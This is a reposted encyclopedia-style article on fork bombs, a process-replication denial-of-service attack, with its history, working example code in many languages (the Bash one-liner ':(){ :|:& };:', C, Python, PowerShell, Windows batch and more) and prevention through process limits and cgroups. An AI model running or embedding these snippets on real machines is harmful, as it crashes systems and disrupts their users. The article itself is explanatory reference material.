Fork Bomb

栏目: IT技术 · 发布时间: 4年前

内容简介:Incomputing, aAround 1978, an early variant of a fork bomb called wabbit was reported to run on aSystem/360. It may have descended from a similar attack calledFork bombs operate both by consuming CPU time in the process offorking, and by saturating theoper
Fork Bomb

The concept behind a fork bomb — the processes continually replicate themselves, potentially causing a denial of service

Incomputing, a fork bomb (also called rabbit virus or wabbit ) is a denial-of-service attack wherein aprocess continually replicates itself to deplete available system resources, slowing down or crashing the system due toresource starvation.

Contents

History [ edit ]

Around 1978, an early variant of a fork bomb called wabbit was reported to run on aSystem/360. It may have descended from a similar attack called RABBITS reported from 1969 on aBurroughs 5500 at the University of Washington .

Implementation [ edit ]

Fork bombs operate both by consuming CPU time in the process offorking, and by saturating theoperating system's process table.A basic implementation of a fork bomb is aninfinite loop that repeatedly launches new copies of itself.

InUnix-like operating systems, fork bombs are generally written to use the forksystem call.As forked processes are also copies of the first program, once they resume execution from the next address at theframe pointer, they continue forking endlessly within their own copy of the same infinite loop; this has the effect of causing anexponential growth in processes. As modern Unix systems generally use acopy-on-write resource management technique when forking new processes,a fork bomb generally will not saturate such a system's memory.

Microsoft Windows operating systems do not have an equivalent functionality to the Unix fork system call;a fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.

Examples of fork bombs [ edit ]

Assembly (Linux running onIA-32) [ edit ]

section .text
    global _start
    
_start:
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

Bash [ edit ]

InBash, a fork bomb can be performed by declaring and calling a multiple-recursive function :

bomb(){
  bomb | bomb & 
}
bomb

Additionally, one of the most famous and commonly cited examples of a fork bomb is this dense one-line Bash command:

:(){ :|:& };:

This command is anobfuscated version of the above. The trick here is that : is used as a function name, which is possible because thecolon is not a reserved character in Bash as it is in most other languages. Otherwise, it is identical.

WithUnicode support, it can similarly be rendered as:

:bomb:(){ :bomb:|:bomb:& };:bomb:

C [ edit ]

#include <sys/types.h>
#include <unistd.h>

int main()
{
    while (1)
    {
      fork();
    }
    return 0;
}

Java [ edit ]

public class ForkBomb
{
    public static void main(String[] args)
    {
        while (true)
        {
            Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
        }
    }
}

JavaScript [ edit ]

(f => f(f))(async f => f(f) && f(f));
(ᱹ => ᱹ(ᱹ))(async ᱹ => ᱹ(ᱹ) && ᱹ(ᱹ));

Lua [ edit ]

-- Requires `luaposix' module
local unistd = require "posix.unistd"

while true do
  unistd.fork()
end

Perl [ edit ]

An inline shell example using thePerl interpreter:

perl -e "fork while fork" &

PowerShell [ edit ]

while ($true) {
    Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
    Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';
}

Python [ edit ]

import os
while True:
    os.fork()

Ruby [ edit ]

fork while true

Rust [ edit ]

#[allow(non_camel_case_types)]
type pid_t = i32;

extern "C" {
    fn fork() -> pid_t;
}

fn main() {
    loop {
        unsafe { fork(); }
    }
}

Shell script [ edit ]

Here's an example in which a shell script is told to run two instances of $0$0 is ashell variable returning the name of the script itself ― and pipe the output of one through the other, which results in exponentially replicating processes.

#!/bin/sh
./$0|./$0&

A simpler way is to just run ./$0& twice:

#!/bin/sh
./$0&
./$0&

Windowsbatch [ edit ]

:ForkBomb
 start
 goto ForkBomb

The same as above, but shorter:

 %0 | %0

The same as above, but done in command line using ^ to escape specials:

echo  %0^|%0  >forkbomb.bat & forkbomb.bat

Condensed version designed to be run directly from the Run... prompt:

cmd /k echo -^|->-.bat&-

Prevention [ edit ]

As a fork bomb's mode of operation is entirely encapsulated by creating new processes, one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own. On Linux, this can be achieved by using the ulimit utility; for example, the command ulimit -u 30 would limit the affected user to a maximum of thirty owned processes.OnPAM-enabled systems, this limit can also be set in /etc/security/limits.conf ,and on FreeBSD, the system administrator can put limits in /etc/login.conf .The modern Linux systems also allow finer-grained fork bomb prevention throughcgroups and PID controller.

See also [ edit ]


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

来吧!带你玩转 Excel VBA

来吧!带你玩转 Excel VBA

罗刚君、杨嘉恺 / 电子工业出版社 / 2013-7 / 85.00元

本书旨在普及Excel VBA 基础理论,以及通过VBA 的高级应用扩展Excel 的功能,提升读者的制表效率,解决工作中的疑难,同时亦可借此开发商业插件。 本书主要分为操作自动化引言篇、入门篇、进阶篇和疑难解答篇,覆盖从入门到提高的所有内容,以满足不同层次的读者需求。其中操作自动化引言篇简述了操作自动化的需求与方式,借此引出VBA 入门篇。VBA 入门篇包含第2 章到第13 章,主要介绍了......一起来看看 《来吧!带你玩转 Excel VBA》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具